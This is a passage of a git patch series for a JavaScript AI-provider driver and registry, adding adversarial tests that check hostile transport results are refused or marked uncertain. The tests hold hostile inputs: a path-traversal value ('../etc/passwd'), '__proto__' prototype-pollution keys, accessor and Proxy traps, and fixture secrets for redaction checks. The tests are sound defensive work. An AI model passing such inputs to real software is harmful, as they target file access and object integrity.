lane.state = 'dispatch_uncertain'; + return validateDriverLaunchResultV1( + receiptFor('launch', view, 'dispatch_uncertain'), request, declaration, + ); + } lane.phase.spawned = true; lane.phase.sessionId = sessionId; lane.state = 'spawned'; @@ -807,24 +913,38 @@ export function createCursorLocalDriverV1(options) { const sendOutcome = callTransport(transportMethods, 'send', sendRequest); if (!sendOutcome.ok) { if (safeErrorCode(sendOutcome.error) === TRANSPORT_PRE_WRITE_FAILURE_CODE) { - lane.state = 'not_sent'; - return validateDriverLaunchResultV1( - receiptFor('launch', view, 'not_sent', DETAIL_FOR.launch_not_sent_prewrite), - request, declaration, - ); + // not_sent is only honest once the spawned session is provably + // gone: cancel it and accept only a confirmed teardown. A live or + // unverifiable session is never classified not_sent. + if (confirmTeardown(lane)) { + lane.state = 'terminal'; + lane.terminalReason = 'cancelled'; + flushLaneWindow(lane); + return validateDriverLaunchResultV1( + receiptFor('launch', view, 'not_sent', DETAIL_FOR.launch_not_sent_prewrite), + request, declaration, + ); + } + return uncertainDispatch(lane, view, request); } - lane.phase.sendUncertain = true; - lane.state = 'dispatch_uncertain'; - return validateDriverLaunchResultV1( - receiptFor('launch', view, 'dispatch_uncertain'), request, declaration, - ); + return uncertainDispatch(lane, view, request); + } + let sent; + try { + sent = readTransportResult(sendOutcome.value, 'driver.launch.send.result', + CURSOR_LOCAL_TRANSPORT_RESULT_KEYS.send); + requireBindingEcho(sent, lane.bindingDigest, 'driver.launch.send.result'); + requireSessionEcho(sent, sessionId, 'driver.launch.send.result'); + } catch { + // A malformed, lying, or extra-keyed send result leaves the prompt + // unacknowledged while the session may be live: honest uncertainty, + // never a thrown error and never a second attempt. + return uncertainDispatch(lane, view, request); } - const sent = readTransportResult(sendOutcome.value, 'driver.launch.send.result'); - requireBindingEcho(sent, lane.bindingDigest, 'driver.launch.send.result'); - requireSessionEcho(sent, sessionId, 'driver.launch.send.result'); if (optOwn(sent, 'acknowledged') !== true) { - fail('acknowledgement_required', 'driver.launch.send.result.acknowledged', - 'The transport must authoritatively acknowledge the prompt before dispatched.'); + // Missing or false acknowledgement keeps the session live without + // proof of delivery or of non-delivery: dispatch_uncertain. + return uncertainDispatch(lane, view, request); } lane.phase.acked = true; lane.state = 'dispatched'; @@ -868,7 +988,8 @@ export function createCursorLocalDriverV1(options) { fail('observe_failed', 'driver.reconcile.observe', 'The transport observation failed; the lane keeps its exact identity and state.'); } - const observed = readTransportResult(observeOutcome.value, 'driver.reconcile.observe.result'); + const observed = readTransportResult(observeOutcome.value, 'driver.reconcile.observe.result', + CURSOR_LOCAL_TRANSPORT_RESULT_KEYS.observe); requireBindingEcho(observed, lane.bindingDigest, 'driver.reconcile.observe.result'); requireSessionEcho(observed, lane.phase.sessionId, 'driver.reconcile.observe.result'); const status = requireExactString(observed, 'status', 'driver.reconcile.observe.result', @@ -975,7 +1096,8 @@ export function createCursorLocalDriverV1(options) { fail('cancel_failed', 'driver.cancel', 'The cancellation request failed; the lane keeps its exact identity and state.'); } - const cancelled = readTransportResult(cancelOutcome.value, 'driver.cancel.result'); + const cancelled = readTransportResult(cancelOutcome.value, 'driver.cancel.result', + CURSOR_LOCAL_TRANSPORT_RESULT_KEYS.cancel); requireBindingEcho(cancelled, lane.bindingDigest, 'driver.cancel.result'); requireSessionEcho(cancelled, lane.phase.sessionId, 'driver.cancel.result'); const outcome = requireExactString(cancelled, 'outcome', 'driver.cancel.result', @@ -1051,7 +1173,8 @@ export function createCursorLocalDriverV1(options) { fail('reply_transport_failed', 'cursor_local.reply', 'The same-session reply failed once and will never be retried.'); } - const replied = readTransportResult(replyOutcome.value, 'cursor_local.reply.result'); + const replied = readTransportResult(replyOutcome.value, 'cursor_local.reply.result', + CURSOR_LOCAL_TRANSPORT_RESULT_KEYS.reply); requireBindingEcho(replied, lane.bindingDigest, 'cursor_local.reply.result'); requireSessionEcho(replied, sessionId, 'cursor_local.reply.result'); if (optOwn(replied, 'answered') !== true) { diff --git a/plugins/codex-co-engineer/test/fixtures/r1-cursor-local-transport.mjs b/plugins/codex-co-engineer/test/fixtures/r1-cursor-local-transport.mjs index d3c6519..f7b1bc2 100644 --- a/plugins/codex-co-engineer/test/fixtures/r1-cursor-local-transport.mjs +++ b/plugins/codex-co-engineer/test/fixtures/r1-cursor-local-transport.mjs @@ -185,10 +185,12 @@ export function createCursorLocalTransportStub(scenario = 'happy', overrides = { state.observes += 1; record('observe', request); if (scenario === 'session_lost' && state.observes === 1) { + // The provider reports a different live session id: correlation is + // broken and the lane must refuse to bind the uncorrelated session. return { binding_digest: binding(request), events: ['progress line'], - session_id: request.session_id, + session_id: `${request.session_id}-reborn`, status: 'running', }; } diff --git a/plugins/codex-co-engineer/test/r1-cursor-local-driver-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-cursor-local-driver-adversarial.test.mjs index 2d062a5..8ceaee6 100644 --- a/plugins/codex-co-engineer/test/r1-cursor-local-driver-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-cursor-local-driver-adversarial.test.mjs @@ -21,11 +21,13 @@ import { MAX_EVIDENCE_EVENTS, MAX_EVIDENCE_SEGMENT_BYTES, MAX_LANE_EVIDENCE_BYTES, + REDACTED_MARKER, createCursorLocalDriverV1, } from '../mcp/v3/cursor-local-driver.mjs'; import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; import { childEnvelopeDigestV1 } from '../mcp/v3/identity.mjs'; import { + FIXTURE_QUESTION_ID, SECRET_AWS_KEY, SECRET_BEARER_TOKEN, SECRET_SPLIT_HEAD, @@ -66,6 +68,12 @@ function expectCode(fn, code, message) { function create(scenario = 'happy', options = {}) { const stub = createCursorLocalTransportStub(options.scenario ?? scenario); + // Wraps are installed BEFORE driver construction: the driver detaches its + // method references at creation, exactly like a real host would. + for (const [method, wrap] of Object.entries(options.wrap ?? {})) { + const original = stub.transport[method]; + stub.transport[method] = (request) => wrap(original, request); + } const created = createCursorLocalDriverV1({ declaration: cursorLocalDeclaration(), model: fixture.model, @@ -368,10 +376,17 @@ test('lying transports produce content-free typed failures only', () => { }, }, }); + // After a successful spawn launch may never throw: a getter-bearing spawn + // result leaves a live session with an unusable proof, which is honest + // dispatch_uncertain — and the getter itself is still never invoked. const poisonedBound = bindProviderDriverV1(poisoned.driver, poisoned.declaration); poisonedBound.preflight(buildDriverOperationRequestV1('preflight', fixture.envelope)); - expectCode(() => poisonedBound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)), - 'accessor_property_denied', 'getter-bearing spawn results are refused structurally'); + const poisonedReceipt = + poisonedBound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)); + assert.equal(poisonedReceipt.disposition, 'dispatch_uncertain', + 'getter-bearing spawn results become post-spawn uncertainty, never a throw'); + assert.equal(poisonedReceipt.child_envelope_digest, fixture.child_envelope_digest, + 'the uncertain receipt keeps the exact child identity'); assert.equal(getterCounter.reads, 0, 'result getters are never invoked'); }); @@ -500,15 +515,17 @@ test('hostile control requests stay inside the content-free quarantine', () => { expectCode(() => context.created.controls.submitAttentionReply(new Proxy(replyBase(), {})), 'proxy_denied', 'proxied replies are denied'); + // Extra keys are rejected content-free BEFORE any value inspection, so + // hostility is exercised through closed keys below. const cyclic = replyBase(); - cyclic.self = {}; - cyclic.self.self = cyclic.self; + cyclic.answer_text = cyclic; expectCode(() => context.created.controls.submitAttentionReply(cyclic), - 'aliased_reference_denied', 'cyclic replies are denied'); + 'aliased_reference_denied', 'cyclic replies are denied inside a closed key'); const aliased = replyBase(); const shared = { lane: 1 }; - aliased.extra = shared; - expectCode(() => context.created.controls.submitAttentionReply({ ...aliased, extra2: shared }), + aliased.envelope_text = shared; + aliased.child_envelope_digest = shared; + expectCode(() => context.created.controls.submitAttentionReply(aliased), 'aliased_reference_denied', 'aliased replies are denied inside the same quarantine'); let depth = { v: 0 }; for (let index = 0; index < 40; index += 1) depth = { nested: depth }; @@ -518,6 +535,53 @@ test('hostile control requests stay inside the content-free quarantine', () => { expectCode(() => context.created.controls.readEvidence( new Proxy(evidenceRequest(), {}), ), 'proxy_denied', 'proxied evidence requests are denied'); + + // Extra control-request keys are refused content-free: fixed code, fixed + // path, fixed message — and the hostile value is never inspected at all, + // so accessors never run and proxy traps never fire. + let extraGetterRuns = 0; + const getterValue = {}; + Object.defineProperty(getterValue, 'polluted', { + enumerable: true, + get() { + extraGetterRuns += 1; + return '__proto__'; + }, + }); + let trapCount = 0; + const trappedValue = new Proxy({}, { + get() { + trapCount += 1; + return undefined; + }, + has() { + trapCount += 1; + return true; + }, + ownKeys() { + trapCount += 1; + return []; + }, + getOwnPropertyDescriptor() { + trapCount += 1; + return undefined; + }, + }); + expectCode(() => context.created.controls.submitAttentionReply( + { ...replyBase(), polluted: getterValue }, + ), 'unknown_key', 'extra reply keys are rejected content-free'); + assert.equal(extraGetterRuns, 0, 'extra-key values are never read'); + expectCode(() => context.created.controls.readEvidence( + { ...evidenceRequest(), polluted: trappedValue }, + ), 'unknown_key', 'extra evidence keys are rejected content-free'); + assert.equal(trapCount, 0, 'extra-key proxies are never trapped'); + const protoNamed = replyBase(); + Object.defineProperty(protoNamed, '__proto__', { + enumerable: true, + value: { polluted: true }, + }); + expectCode(() => context.created.controls.submitAttentionReply(protoNamed), + 'unknown_key', 'prototype-shaped extra key names stay content-free'); }); test('terminal receipts keep exact identity under repetition and hostile echoes', () => { @@ -544,3 +608,324 @@ test('terminal receipts keep exact identity under repetition and hostile echoes' assert.equal(cancelReceipt.run_id, fixture.run_id); assert.equal(cancelReceipt.child_envelope_digest, fixture.child_envelope_digest); }); + +function assertExactIdentity(receipt, label) { + assert.equal(receipt.run_id, fixture.run_id, `${label} echoes run_id`); + assert.equal(receipt.assignment_id, fixture.assignment_id, `${label} echoes assignment_id`); + assert.equal(receipt.lane_index, fixture.lane_index, `${label} echoes lane_index`); + assert.equal(receipt.base_sha, fixture.base_sha, `${label} echoes base_sha`); + assert.equal(receipt.child_envelope_digest, fixture.child_envelope_digest, + `${label} echoes child_envelope_digest`); +} + +test('after spawn success launch never throws: unusable spawn proofs stay dispatch_uncertain', () => { + // Row 1 of the bound-driver rejection: a transport that returns from + // spawn but then lies, omits, adds keys, or hides accessors leaves a live + // session with an unusable proof. Launch must never throw past spawn; it + // reports dispatch_uncertain exactly once and can never respawn. + const spawnVariants = [ + ['missing session id', () => ({}), 0], + ['extra key beside the spawn proof', + () => ({ binding_digest: `sha256:${'7'.repeat(64)}`, polluted: { x: 1 }, session_id: 'sess-x' }), 0], + ['garbage session id', + () => ({ binding_digest: `sha256:${'7'.repeat(64)}`, session_id: '../etc/passwd' }), 0], + ['wrong binding echo', + () => ({ binding_digest: `sha256:${'0'.repeat(64)}`, session_id: 'sess-x' }), 0], + ['accessor session id', () => { + const result = { binding_digest: `sha256:${'7'.repeat(64)}` }; + Object.defineProperty(result, 'session_id', { + enumerable: true, + get() { + getterReads.spawn += 1; + return 'sess-x'; + }, + }); + return result; + }, 0], + ]; + const getterReads = { spawn: 0 }; + for (const [label, mutate] of spawnVariants) { + const context = create('happy', { wrap: { spawn: (original, request) => mutate(original(request)) } }); + context.bound.preflight(context.request('preflight')); + let receipt; + try { + receipt = context.bound.launch(context.request('launch')); + } catch (error) { + assert.fail(`${label}: launch threw after a successful spawn: ${error}`); + } + assert.equal(receipt.disposition, 'dispatch_uncertain', `${label}: honest uncertainty`); + assertExactIdentity(receipt, `${label}: uncertain receipt`); + assert.equal(JSON.stringify(receipt).includes('polluted'), false, + `${label}: no hostile name in the receipt`); + assert.equal(context.stub.state.spawnCalls, 1, `${label}: at most one spawn ever`); + expectCode(() => context.bound.launch(context.request('launch')), 'replay_denied', + `${label}: a possibly-spawned lane is never respawned or fallen back`); + assert.equal(context.stub.state.spawnCalls, 1, + `${label}: relaunch attempts spawn nothing`); + assert.equal(context.stub.state.sends, 0, `${label}: nothing is dispatched on a dead proof`); + expectCode(() => context.bound.reconcile(context.request('reconcile')), 'not_dispatched', + `${label}: no prompt was attempted, so there is nothing to reconcile`); + expectCode(() => context.bound.cancel(context.request('cancel')), 'not_dispatched', + `${label}: no prompt was attempted, so there is nothing to cancel`); + } + assert.equal(getterReads.spawn, 0, 'spawn-result getters are never invoked'); +}); + +test('a live session without acknowledgement is dispatch_uncertain, never thrown and never resent', () => { + // Row 1 continuation: the send itself ran against a live session but its + // result cannot prove delivery — missing/false acknowledgement, lying + // echoes, extra keys, and accessor bombs all stay honest uncertainty. + const sendVariants = [ + ['acknowledgement missing', (result) => { + const { acknowledged, ...rest } = result; + void acknowledged; + return rest; + }], + ['acknowledgement false', (result) => ({ ...result, acknowledged: false })], + ['extra key beside acknowledgement', (result) => ({ ...result, polluted: { deep: '__proto__' } })], + ['session echo substituted', + (result) => ({ ...result, session_id: `${result.session_id}-reborn` })], + ['binding echo corrupted', (result) => ({ ...result, binding_digest: `sha256:${'f'.repeat(64)}` })], + ['accessor acknowledgement', (result) => { + const forged = { ...result }; + delete forged.acknowledged; + Object.defineProperty(forged, 'acknowledged', { + enumerable: true, + get() { + getterReads.send += 1; + return true; + }, + }); + return forged; + }], + ]; + const getterReads = { send: 0 }; + for (const [label, mutate] of sendVariants) { + const context = create('happy', { wrap: { send: (original, request) => mutate(original(request)) } }); + context.bound.preflight(context.request('preflight')); + let receipt; + try { + receipt = context.bound.launch(context.request('launch')); + } catch (error) { + assert.fail(`${label}: launch threw after a successful spawn: ${error}`); + } + assert.equal(receipt.disposition, 'dispatch_uncertain', `${label}: honest uncertainty`); + assertExactIdentity(receipt, `${label}: uncertain receipt`); + assert.equal(receipt.detail_code, undefined, + `${label}: uncertainty carries no detail pair`); + assert.equal(context.stub.state.spawnCalls, 1, `${label}: exactly one spawn`); + assert.equal(context.stub.state.sends, 1, `${label}: exactly one dispatch attempt`); + expectCode(() => context.bound.launch(context.request('launch')), 'replay_denied', + `${label}: an unacknowledged live session is never resent`); + assert.equal(context.stub.state.sends, 1, `${label}: relaunch attempts send nothing`); + assert.equal(context.stub.state.spawnCalls, 1, `${label}: relaunch spawns nothing`); + } + assert.equal(getterReads.send, 0, 'send-result getters are never invoked'); +}); + +test('pre_write_failure is not_sent only under a confirmed teardown, else dispatch_uncertain', () => { + // Row 2 of the bound-driver rejection: not_sent requires proof that no + // session survives. The confirmed-teardown path keeps the honest closed + // detail pair; every unproven teardown stays dispatch_uncertain. + const confirmed = create('pre_write_failure'); + confirmed.bound.preflight(confirmed.request('preflight')); + const notSent = confirmed.bound.launch(confirmed.request('launch')); + assert.equal(notSent.disposition, 'not_sent'); + assert.equal(notSent.detail_code, 'dispatch_not_written'); + assert.equal(typeof notSent.detail_message, 'string'); + assert.ok(!notSent.detail_message.includes('nothing was written'), + 'transport failure text never leaks into the closed detail pair'); + assertExactIdentity(notSent, 'confirmed-teardown not_sent'); + assert.equal(confirmed.stub.state.spawnCalls, 1, 'exactly one spawn'); + assert.equal(confirmed.stub.state.sends, 1, 'exactly one dispatch attempt'); + assert.equal(confirmed.stub.state.cancelCalls, 1, 'teardown was proven via one cancel'); + expectCode(() => confirmed.bound.launch(confirmed.request('launch')), 'replay_denied', + 'not_sent lanes are never relaunched'); + assert.equal(confirmed.stub.state.spawnCalls, 1); + assert.equal(confirmed.stub.state.sends, 1); + + const teardownVariants = [ + ['cancelling throws', () => { + throw new Error(`teardown exploded ${SECRET_BEARER_TOKEN}`); + }], + ['cancellation only requested', () => ({ + binding_digest: `sha256:${'7'.repeat(64)}`, + outcome: 'requested', + session_id: 'sess-local-1', + })], + ['teardown echo corrupted', () => ({ + binding_digest: `sha256:${'0'.repeat(64)}`, + outcome: 'confirmed', + session_id: 'sess-local-1', + })], + ['teardown carries an extra key', () => ({ + binding_digest: `sha256:${'7'.repeat(64)}`, + outcome: 'confirmed', + polluted: true, + session_id: 'sess-local-1', + })], + ['teardown result malformed', () => 'confirmed'], + ]; + for (const [label, cancelBehavior] of teardownVariants) { + let teardownAttempts = 0; + const context = create('pre_write_failure', { wrap: { cancel: () => { + teardownAttempts += 1; + return cancelBehavior(); + } } }); + context.bound.preflight(context.request('preflight')); + let receipt; + try { + receipt = context.bound.launch(context.request('launch')); + } catch (error) { + assert.fail(`${label}: launch threw after a successful spawn: ${error}`); + } + assert.equal(receipt.disposition, 'dispatch_uncertain', + `${label}: unproven teardown stays uncertain`); + assert.equal(receipt.detail_code, undefined, `${label}: no detail pair on uncertainty`); + assertExactIdentity(receipt, `${label}: uncertain receipt`); + assert.equal(teardownAttempts, 1, `${label}: teardown was attempted once`); + assert.equal(context.stub.state.spawnCalls, 1, `${label}: exactly one spawn`); + assert.equal(context.stub.state.sends, 1, `${label}: exactly one dispatch attempt`); + expectCode(() => context.bound.launch(context.request('launch')), 'replay_denied', + `${label}: a possibly-sent prompt is never sent twice`); + assert.equal(context.stub.state.sends, 1, `${label}: no redispatch after relaunch attempt`); + } +}); + +test('every transport result obeys its closed key vocabulary content-free', () => { + const extraKey = { polluted: { leaked: '__proto__' } }; + + const withExtra = (result) => ({ ...result, ...extraKey }); + + const availability = create('happy', { wrap: { availability: (original) => withExtra(original()) } }); + expectCode(() => availability.bound.preflight(availability.request('preflight')), + 'invalid_transport_result', 'availability results reject extra keys'); + assert.equal(availability.stub.state.spawnCalls, 0, + 'refused availability results never spawn'); + + const observe = create('happy', { wrap: { observe: (original, request) => withExtra(original(request)) } }); + observe.bound.preflight(observe.request('preflight')); + observe.bound.launch(observe.request('launch')); + expectCode(() => observe.bound.reconcile( + observe.request('reconcile', { include: INCLUDE_ALL }), + ), 'invalid_transport_result', 'observe results reject extra keys'); + + const cancellation = create('happy', { wrap: { cancel: (original, request) => withExtra(original(request)) } }); + cancellation.bound.preflight(cancellation.request('preflight')); + cancellation.bound.launch(cancellation.request('launch')); + expectCode(() => cancellation.bound.cancel(cancellation.request('cancel')), + 'invalid_transport_result', 'cancel results reject extra keys'); + assert.equal(cancellation.stub.state.cancelCalls, 1, + 'the refused cancellation still reached the transport exactly once'); + + const reply = create('attention', { wrap: { reply: (original, request) => withExtra(original(request)) } }); + dispatch(reply); + reply.bound.reconcile(reply.request('reconcile', { include: INCLUDE_ALL })); + expectCode(() => reply.created.controls.submitAttentionReply({ + schema: CURSOR_LOCAL_REPLY_REQUEST_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + session_id: 'sess-local-1', + question_id: FIXTURE_QUESTION_ID, + answer_text: 'Approved.', + }), 'invalid_transport_result', 'reply results reject extra keys'); + assert.equal(reply.stub.state.replies, 1, 'the refused reply consumed the one attempt'); + expectCode(() => reply.created.controls.submitAttentionReply({ + schema: CURSOR_LOCAL_REPLY_REQUEST_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + session_id: 'sess-local-1', + question_id: FIXTURE_QUESTION_ID, + answer_text: 'Approved again.', + }), 'reply_already_attempted', 'replies stay attempt-once across refusals'); +}); + +test('sha256 and bare 64-hex signatures redact across chunks and reconciliations while receipts keep identity', () => { + const sha256Secret = `sha256:${'d4f10e2a'.repeat(8)}`; + const bareSecret = 'deadbeef'.repeat(8); + const upperSecret = `SHA256:${'ABCDEF01'.repeat(8)}`; + // Every hostile signature is split into two ADJACENT stream pieces; the + // sha256 pair additionally straddles a reconciliation boundary, which the + // persistent per-lane window must survive. + const shaHead = sha256Secret.slice(0, 35); + const shaTail = sha256Secret.slice(35); + const bareHead = bareSecret.slice(0, 32); + const bareTail = bareSecret.slice(32); + let observes = 0; + const scriptedObserve = (request) => { + observes += 1; + if (observes === 1) { + return { + binding_digest: request.binding_digest, + events: [`${shaTail} rotated`, `sum ${bareHead}`], + progress_text: `hashing ${shaHead}`, + session_id: request.session_id, + status: 'running', + }; + } + if (observes === 2) { + return { + binding_digest: request.binding_digest, + events: ['x'.repeat(400), `upper ${upperSecret} end`], + progress_text: `${bareTail} sealed`, + session_id: request.session_id, + status: 'running', + }; + } + return { + binding_digest: request.binding_digest, + session_id: request.session_id, + status: 'completed', + }; + }; + const context = create('happy', { wrap: { observe: (original, request) => { + void original; + return scriptedObserve(request); + } } }); + + context.bound.preflight(context.request('preflight')); + const launched = context.bound.launch(context.request('launch')); + assert.equal(launched.disposition, 'dispatched'); + const first = context.bound.reconcile( + context.request('reconcile', { include: INCLUDE_ALL })); + assert.equal(first.disposition, 'in_progress'); + const second = context.bound.reconcile( + context.request('reconcile', { include: INCLUDE_ALL })); + assert.equal(second.disposition, 'in_progress'); + + // Redaction happens at emission, not only at the terminal flush. + const midStream = context.created.controls.readEvidence(evidenceRequest()); + const midText = midStream.events.map((segment) => segment.text).join('\u0001'); + assert.ok(midText.includes(REDACTED_MARKER), + 'signatures crossing chunks were redacted before the latch'); + assert.equal(/[0-9a-f]{64}/iu.test(midText), false, + 'no 64-hex signature survives in mid-stream evidence'); + + const terminal = context.bound.reconcile( + context.request('reconcile', { intent: 'restart_reattach' })); + assert.equal(terminal.disposition, 'terminal'); + const receipts = [launched, first, second, terminal]; + for (const receipt of receipts) { + // P17 identity receipts stay byte-exact even when the same digest + // shapes arrive inside provider evidence. + assertExactIdentity(receipt, 'hostile-digest receipt'); + } + + const drained = context.created.controls.readEvidence(evidenceRequest()); + assert.equal(drained.truncated, false, 'nothing here needs truncation'); + const allText = drained.events.map((segment) => segment.text).join('\u0001'); + assert.ok(allText.includes(REDACTED_MARKER), 'digest signatures were redacted wholesale'); + assert.equal(/[0-9a-f]{64}/iu.test(allText), false, 'no 64-hex signature survives anywhere'); + assert.equal(allText.includes('d4f10e2a'), false, 'the sha256 body never recombines'); + assert.equal(allText.includes('deadbeef'), false, + 'the bare digest never recombines across reconciliations'); + assert.equal(allText.includes('ABCDEF01'), false, 'uppercase digests never survive'); + assert.equal(allText.includes('sha256:'), false, 'no digest prefix survives'); + for (const segment of drained.events) { + assert.ok(segment.bytes <= MAX_EVIDENCE_SEGMENT_BYTES, 'segment byte bound holds'); + assert.equal(Buffer.byteLength(segment.text, 'utf8'), segment.bytes, + 'byte accounting stays UTF-8 exact'); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-cursor-local-driver.test.mjs b/plugins/codex-co-engineer/test/r1-cursor-local-driver.test.mjs index 2442cba..7b57eb2 100644 --- a/plugins/codex-co-engineer/test/r1-cursor-local-driver.test.mjs +++ b/plugins/codex-co-engineer/test/r1-cursor-local-driver.test.mjs @@ -404,4 +404,3 @@ test('control requests are quarantined by the same closed schema discipline', () context.replyRequest({ answer_text: '' }), ), 'invalid_answer', 'empty answers are refused before the attempt'); }); - From 1d071be9b0965e6c1ac2da6e2aae6347292e7cbc Mon Sep 17 00:00:00 2001 From: ox-alpha Date: Mon, 24 Aug 2026 23:59:00 +0000 Subject: [PATCH 71/81] feat(provider): add the closed provider registry composition authority Add the additive v3 provider-registry.mjs (P23): one deterministic, closed composition authority behind provider selection. It registers exactly the four accepted ProviderDriverV1 adapters (grok, cursor-local, cursor-cloud, dsh) in the frozen P02 grammar order, re-derived from the grammar leaf so the slot vocabulary cannot drift. Selection maps an exact {provider, model} pair onto one entry under exact_closed_slot_no_fallback with no preference walk, substitution, fallback, retry, or replay; closed model lists are enforced against accepted constants and grammar-owned models stay with their adapters. Composition gates the provider before reading any option byte, quarantines hostile inputs content-free without running caller code, delegates to the one exact accepted factory, and returns its value untouched so adapter lane stores, evidence maps, and identity binding keep accepted semantics. Inventory quotes each accepted describe surface in detached frozen clones instead of restating capability claims. The P22 future harness is inventoried as mock/conformance evidence only: never a fifth slot. No ambient discovery, no supervisor cutover, no live qualification, and no version change. --- .../mcp/v3/provider-registry.mjs | 435 ++++++++++++++++++ .../r1-provider-registry-adversarial.test.mjs | 273 +++++++++++ .../test/r1-provider-registry.test.mjs | 403 ++++++++++++++++ 3 files changed, 1111 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/provider-registry.mjs create mode 100644 plugins/codex-co-engineer/test/r1-provider-registry-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-provider-registry.test.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/provider-registry.mjs b/plugins/codex-co-engineer/mcp/v3/provider-registry.mjs new file mode 100644 index 0000000..bcd8e06 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/provider-registry.mjs @@ -0,0 +1,435 @@ +// ProviderDriverV1 provider registry — closed deterministic composition +// authority (P23). +// +// Additive v3 module. It owns ONLY the composition seam behind provider +// selection: +// - exactly the four accepted ProviderDriverV1 adapters (P18 Grok ACP +// `grok`, P19 Cursor Local `cursor-local`, P21 Cursor Cloud +// `cursor-cloud`, P20 DSH ACPX `dsh`) registered in the frozen P02 +// grammar slot order and nowhere else; +// - deterministic selection: an exact closed-slot lookup composes every +// lane through that slot's one accepted adapter factory. There is no +// preference walk, no provider substitution, no fallback, no retry, +// no replay, and no fifth operation; +// - the P22 future-harness template/conformance kit is inventoried as +// mock/conformance evidence only: never a provider slot, never a live +// transport, never composable through this surface; +// - inventory data is projected from the accepted modules' own exported +// describe surfaces into detached frozen clones, so the registry quotes +// accepted claims instead of maintaining a parallel capability schema; +// - hostile providers, selections, and options (Proxies, accessors, +// symbols, non-enumerables, exotic prototypes, unknown keys) fail +// closed with typed content-free RunContractV1Errors before any adapter +// factory runs caller code; +// - composed values are returned exactly as the accepted factory returns +// them: no wrapper layer, so adapter lane stores, evidence maps, and +// identity binding keep their accepted semantics. +// +// The registry performs no ambient discovery: it never reads the +// filesystem, environment, PATH, network, clock, random source, or process +// list, and it never dynamically imports a module. Its slot set is closed +// at module load from the P02 grammar vocabulary and can never grow at +// runtime. Supervisor/server cutover, schedulers, durable stores, live +// transport qualification, merge/PR authority, direct mode, and version +// changes stay out of scope; legacy 3.2.1 behavior is untouched. + +import { + capturedCreate, + capturedDescriptor, + capturedFreeze, + capturedIncludes, + capturedIsArray, + capturedOwnKeys, + knownProvidersJoined, + knownProvidersList, + modelIdGrammarSource, +} from './grammar.mjs'; +import { + CURSOR_CLOUD_DRIVER_SCHEMA_ID, + CURSOR_CLOUD_PROVIDER_SLOT, + bindCursorCloudDriverV1, + describeCursorCloudDriverV1, +} from './cursor-cloud-driver.mjs'; +import { + MODEL_ID_PATTERN as CURSOR_LOCAL_MODEL_ID_PATTERN, + CURSOR_LOCAL_DRIVER_SCHEMA_ID, + CURSOR_LOCAL_PROVIDER, + createCursorLocalDriverV1, + describeCursorLocalDriverV1, +} from './cursor-local-driver.mjs'; +import { + DSH_ALLOWED_MODELS, + DSH_ACPX_DRIVER_SCHEMA_ID, + DSH_PROVIDER, + createDshApxDriverV1, + describeDshApxDriverV1, +} from './dsh-acpx-driver.mjs'; +import { + GROK_ACP_DRIVER_SCHEMA_ID, + GROK_PROVIDER_SLOT, + bindGrokAcpDriverV1, + describeGrokAcpAdapterSurfaceV1, +} from './grok-acp-driver.mjs'; +import { + FUTURE_HARNESS_CONFORMANCE_SCHEMA_ID, + FUTURE_HARNESS_TEMPLATE_SCHEMA_ID, +} from './future-harness.mjs'; +import { isPlainObject } from './run-manifest.mjs'; +import { assertNotProxy, fail, freezeData, hasOwn } from './selection-json.mjs'; + +export const PROVIDER_REGISTRY_SCHEMA_ID = 'codex-co-engineer.provider-registry.v1'; +export const PROVIDER_REGISTRY_VERSION = 1; +export const REGISTRY_SELECTION_SCHEMA_ID = 'codex-co-engineer.registry-selection.v1'; + +export const REGISTRY_SELECTION_RULE = 'exact_closed_slot_no_fallback'; + +const REGISTRY_OPTION_PATH = 'provider_registry.options'; +const REGISTRY_SELECTION_PATH = 'provider_registry.selection'; +const REGISTRY_PROVIDER_PATH = 'provider_registry.provider'; + +// The authoritative vocabulary is the accepted P02 grammar leaf: the +// registry re-derives its slots from `knownProvidersList()` on every read +// instead of keeping its own copy that could drift. +export const PROVIDER_REGISTRY_SLOTS = knownProvidersList(); + +// Detached deep clone for pure-data accepted projections. The clone keeps +// plain object/array identities so it stays deep-equal to the original, +// and it is frozen so no caller can mutate registry inventory in place. +function detachData(value) { + if (capturedIsArray(value)) { + return capturedFreeze(value.map(detachData)); + } + if (value === null || typeof value !== 'object') return value; + const clone = {}; + const keys = Object.keys(value); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + clone[key] = detachData(value[key]); + } + return capturedFreeze(clone); +} + +function closedListModel(values) { + return capturedFreeze({ + rule: 'closed_list', + authority: 'accepted_adapter', + values: capturedFreeze([...values]), + }); +} + +function grammarModel() { + return capturedFreeze({ + rule: 'adapter_model_grammar', + authority: 'accepted_adapter', + grammar_source: modelIdGrammarSource(), + }); +} + +function localModelGrammar() { + return capturedFreeze({ + rule: 'adapter_model_grammar', + authority: 'accepted_adapter', + grammar_source: CURSOR_LOCAL_MODEL_ID_PATTERN.source, + }); +} + +function registryEntry(provider, adapterSchemaId, composeFunctionName, optionMode, models, surface) { + return capturedFreeze({ + schema: PROVIDER_REGISTRY_SCHEMA_ID, + version: PROVIDER_REGISTRY_VERSION, + provider, + adapter_schema_id: adapterSchemaId, + compose_function_name: composeFunctionName, + option_contract: capturedFreeze({ + mode: optionMode, + // For `transport_property` slots the registry itself owns the closed + // bag shape (exactly one own enumerable data property `transport`). + // For `options_bag` slots the accepted factory owns the full closed + // option vocabulary; the registry adds no reinterpretation. + registry_required_keys: optionMode === 'transport_property' + ? capturedFreeze(['transport']) + : capturedFreeze([]), + option_vocabulary_owner: optionMode === 'transport_property' + ? 'provider_registry' + : 'accepted_adapter_factory', + }), + models, + adapter_surface: surface, + }); +} + +// Inventory is built once at load from the accepted modules' own public +// describe surfaces, then detached and frozen. No accepted claim is +// restated here, so no parallel capability schema exists. +const PRIVATE_ENTRIES = capturedFreeze({ + 